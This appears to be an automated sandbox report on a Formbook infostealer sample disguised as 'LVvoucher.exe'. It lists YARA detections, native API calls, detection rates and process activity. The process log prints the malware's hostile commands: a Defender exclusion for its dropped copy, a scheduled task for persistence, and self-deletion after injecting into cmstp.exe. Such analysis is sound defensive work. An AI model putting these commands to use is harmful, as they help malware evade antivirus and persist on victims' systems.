Source: 16.2.LVvoucher.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 16.2.LVvoucher.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 16.0.LVvoucher.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 16.0.LVvoucher.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000012.00000000.403013185.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000012.00000000.403013185.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000000.349064396.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000000.349064396.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000000.349590313.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000000.349590313.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.421008053.0000000001740000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.421008053.0000000001740000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000012.00000000.385192046.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000012.00000000.385192046.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000002.547341324.0000000002C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000002.547341324.0000000002C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000002.546977078.0000000002980000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000002.546977078.0000000002980000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.420898472.0000000001230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.420898472.0000000001230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000002.546773415.0000000000560000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000002.546773415.0000000000560000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.420606554.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.420606554.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.359899155.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.359899155.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Detected potential crypto function
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 0_2_00BE3D23 0_2_00BE3D23
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 0_2_013BD3B4 0_2_013BD3B4
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 0_2_013BB970 0_2_013BB970
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 15_2_00303D23 15_2_00303D23
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0040102E 16_2_0040102E
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_00401030 16_2_00401030
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0041E1DD 16_2_0041E1DD
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0041EB66 16_2_0041EB66
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_00402D90 16_2_00402D90
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0041D5A3 16_2_0041D5A3
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_00409E5C 16_2_00409E5C
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_00409E60 16_2_00409E60
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0041E7EB 16_2_0041E7EB
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_00402FB0 16_2_00402FB0
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_00CD3D23 16_2_00CD3D23
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047A841F 23_2_047A841F
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485D466 23_2_0485D466
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04790D20 23_2_04790D20
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048625DD 23_2_048625DD
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04862D07 23_2_04862D07
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047AD5E0 23_2_047AD5E0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04861D55 23_2_04861D55
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C2581 23_2_047C2581
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047B6E30 23_2_047B6E30
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04862EF7 23_2_04862EF7
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485D616 23_2_0485D616
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04861FF1 23_2_04861FF1
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048620A8 23_2_048620A8
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048628EC 23_2_048628EC
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04851002 23_2_04851002
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047C20A0 23_2_047C20A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047AB090 23_2_047AB090
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047B4120 23_2_047B4120
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0479F900 23_2_0479F900
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_048622AE 23_2_048622AE
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_0485DBD2 23_2_0485DBD2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_04862B28 23_2_04862B28
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047CEBB0 23_2_047CEBB0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C9EB66 23_2_02C9EB66
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C89E5C 23_2_02C89E5C
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C89E60 23_2_02C89E60
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C9E7EB 23_2_02C9E7EB
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C82FB0 23_2_02C82FB0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C82D90 23_2_02C82D90
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\cmstp.exe Code function: String function: 0479B150 appears 35 times
Contains functionality to call native functions
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0041A360 NtCreateFile, 16_2_0041A360
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0041A410 NtReadFile, 16_2_0041A410
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0041A490 NtClose, 16_2_0041A490
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0041A540 NtAllocateVirtualMemory, 16_2_0041A540
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 16_2_0041A35D NtCreateFile, 16_2_0041A35D
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9540 NtReadFile,LdrInitializeThunk, 23_2_047D9540
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D95D0 NtClose,LdrInitializeThunk, 23_2_047D95D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9660 NtAllocateVirtualMemory,LdrInitializeThunk, 23_2_047D9660
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9650 NtQueryValueKey,LdrInitializeThunk, 23_2_047D9650
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D96E0 NtFreeVirtualMemory,LdrInitializeThunk, 23_2_047D96E0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D96D0 NtCreateKey,LdrInitializeThunk, 23_2_047D96D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9710 NtQueryInformationToken,LdrInitializeThunk, 23_2_047D9710
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9FE0 NtCreateMutant,LdrInitializeThunk, 23_2_047D9FE0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9780 NtMapViewOfSection,LdrInitializeThunk, 23_2_047D9780
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9860 NtQuerySystemInformation,LdrInitializeThunk, 23_2_047D9860
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9840 NtDelayExecution,LdrInitializeThunk, 23_2_047D9840
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9910 NtAdjustPrivilegesToken,LdrInitializeThunk, 23_2_047D9910
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D99A0 NtCreateSection,LdrInitializeThunk, 23_2_047D99A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9A50 NtCreateFile,LdrInitializeThunk, 23_2_047D9A50
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9560 NtWriteFile, 23_2_047D9560
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047DAD30 NtSetContextThread, 23_2_047DAD30
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9520 NtWaitForSingleObject, 23_2_047D9520
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D95F0 NtQueryInformationFile, 23_2_047D95F0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9670 NtQueryInformationProcess, 23_2_047D9670
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9610 NtEnumerateValueKey, 23_2_047D9610
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047DA770 NtOpenThread, 23_2_047DA770
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9770 NtSetInformationFile, 23_2_047D9770
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9760 NtOpenProcess, 23_2_047D9760
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9730 NtQueryVirtualMemory, 23_2_047D9730
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047DA710 NtOpenProcessToken, 23_2_047DA710
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D97A0 NtUnmapViewOfSection, 23_2_047D97A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047DB040 NtSuspendThread, 23_2_047DB040
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9820 NtEnumerateKey, 23_2_047D9820
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D98F0 NtReadVirtualMemory, 23_2_047D98F0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D98A0 NtWriteVirtualMemory, 23_2_047D98A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9950 NtQueueApcThread, 23_2_047D9950
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D99D0 NtCreateProcessEx, 23_2_047D99D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9A20 NtResumeThread, 23_2_047D9A20
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9A10 NtQuerySection, 23_2_047D9A10
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9A00 NtProtectVirtualMemory, 23_2_047D9A00
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9A80 NtOpenDirectoryObject, 23_2_047D9A80
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047D9B00 NtSetValueKey, 23_2_047D9B00
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_047DA3B0 NtGetContextThread, 23_2_047DA3B0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C9A360 NtCreateFile, 23_2_02C9A360
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C9A490 NtClose, 23_2_02C9A490
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C9A410 NtReadFile, 23_2_02C9A410
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C9A540 NtAllocateVirtualMemory, 23_2_02C9A540
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 23_2_02C9A35D NtCreateFile, 23_2_02C9A35D
Sample file is different than original file name gathered from version info
Source: LVvoucher.exe, 00000000.00000002.358875370.00000000013CA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs LVvoucher.exe
Source: LVvoucher.exe, 00000000.00000002.359511322.0000000002FED000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameSafeSerializationManager.dll: vs LVvoucher.exe
Source: LVvoucher.exe, 00000000.00000002.358130389.0000000000CA6000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameCaseInsensitiveHashCodeProvid.exe4 vs LVvoucher.exe
Source: LVvoucher.exe, 00000000.00000002.359525046.0000000002FFD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCaseInsensitiveHashCodeProvid.exe4 vs LVvoucher.exe
Source: LVvoucher.exe, 00000000.00000002.359525046.0000000002FFD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilename vs LVvoucher.exe
Source: LVvoucher.exe, 00000000.00000002.359525046.0000000002FFD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: l,\\StringFileInfo\\000004B0\\OriginalFilename vs LVvoucher.exe
Source: LVvoucher.exe, 00000000.00000002.362777435.0000000007FC0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameUI.dllF vs LVvoucher.exe
Source: LVvoucher.exe, 00000000.00000002.359603340.000000000306C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameSafeSerializationManager.dll: vs LVvoucher.exe
Source: LVvoucher.exe, 00000000.00000002.362619132.0000000007D00000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameSafeSerializationManager.dll: vs LVvoucher.exe
Source: LVvoucher.exe, 00000000.00000002.359367595.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilename vs LVvoucher.exe
Source: LVvoucher.exe, 00000000.00000002.359899155.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameUI.dllF vs LVvoucher.exe
Source: LVvoucher.exe, 0000000F.00000000.345304634.00000000003C6000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameCaseInsensitiveHashCodeProvid.exe4 vs LVvoucher.exe
Source: LVvoucher.exe, 00000010.00000003.359122688.00000000016FF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs LVvoucher.exe
Source: LVvoucher.exe, 00000010.00000000.347327926.0000000000D96000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameCaseInsensitiveHashCodeProvid.exe4 vs LVvoucher.exe
Source: LVvoucher.exe, 00000010.00000002.422075548.0000000001A2F000.00000040.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs LVvoucher.exe
Source: LVvoucher.exe, 00000010.00000002.423242531.0000000001C60000.00000040.10000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameCMSTP.EXE` vs LVvoucher.exe
Source: LVvoucher.exe, 00000010.00000002.421332683.000000000189F000.00000040.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs LVvoucher.exe
Source: LVvoucher.exe Binary or memory string: OriginalFilenameCaseInsensitiveHashCodeProvid.exe4 vs LVvoucher.exe
Source: LVvoucher.exe Virustotal: Detection: 41%
Source: LVvoucher.exe ReversingLabs: Detection: 46%
Source: C:\Users\user\Desktop\LVvoucher.exe File read: C:\Users\user\Desktop\LVvoucher.exe:Zone.Identifier Jump to behavior
Source: LVvoucher.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\LVvoucher.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\LVvoucher.exe "C:\Users\user\Desktop\LVvoucher.exe"
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UcgxBJ.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UcgxBJ" /XML "C:\Users\user\AppData\Local\Temp\tmp57C7.tmp
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Users\user\Desktop\LVvoucher.exe C:\Users\user\Desktop\LVvoucher.exe
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Users\user\Desktop\LVvoucher.exe C:\Users\user\Desktop\LVvoucher.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\cmstp.exe C:\Windows\SysWOW64\cmstp.exe
Source: C:\Windows\SysWOW64\cmstp.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\LVvoucher.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\UcgxBJ.exe Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UcgxBJ" /XML "C:\Users\user\AppData\Local\Temp\tmp57C7.tmp Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Users\user\Desktop\LVvoucher.exe C:\Users\user\Desktop\LVvoucher.exe Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Process created: C:\Users\user\Desktop\LVvoucher.exe C:\Users\user\Desktop\LVvoucher.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\LVvoucher.exe" Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe File created: C:\Users\user\AppData\Roaming\UcgxBJ.exe Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe File created: C:\Users\user\AppData\Local\Temp\tmp57C7.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.evad.winEXE@15/8@1/1
Source: C:\Users\user\Desktop\LVvoucher.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\LVvoucher.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4592:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6776:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:204:120:WilError_01
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\LVvoucher.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: LVvoucher.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: LVvoucher.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: LVvoucher.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: cmstp.pdbGCTL source: LVvoucher.exe, 00000010.00000002.423242531.0000000001C60000.00000040.10000000.00040000.00000000.sdmp
Source: Binary string: C:\Users\Administrator\Desktop\Client\Temp\nOICoDdGmj\src\obj\Debug\CaseInsensitiveHashCodeProvid.pdb source: LVvoucher.exe, UcgxBJ.exe.0.dr
Source: Binary string: wntdll.pdbUGP source: LVvoucher.exe, 00000010.00000002.421332683.000000000189F000.00000040.00000800.00020000.00000000.sdmp, LVvoucher.exe, 00000010.00000003.358753511.00000000015E0000.00000004.00000800.00020000.00000000.sdmp, LVvoucher.exe, 00000010.00000002.421040780.0000000001780000.00000040.00000800.00020000.00000000.sdmp, cmstp.exe, 00000017.00000002.549866914.000000000488F000.00000040.00000800.00020000.00000000.sdmp, cmstp.exe, 00000017.00000002.549751152.0000000004770000.00000040.00000800.00020000.00000000.sdmp, cmstp.exe, 00000017.00000003.422848054.00000000045D0000.00000004.00000800.00020000.00000000.sdmp
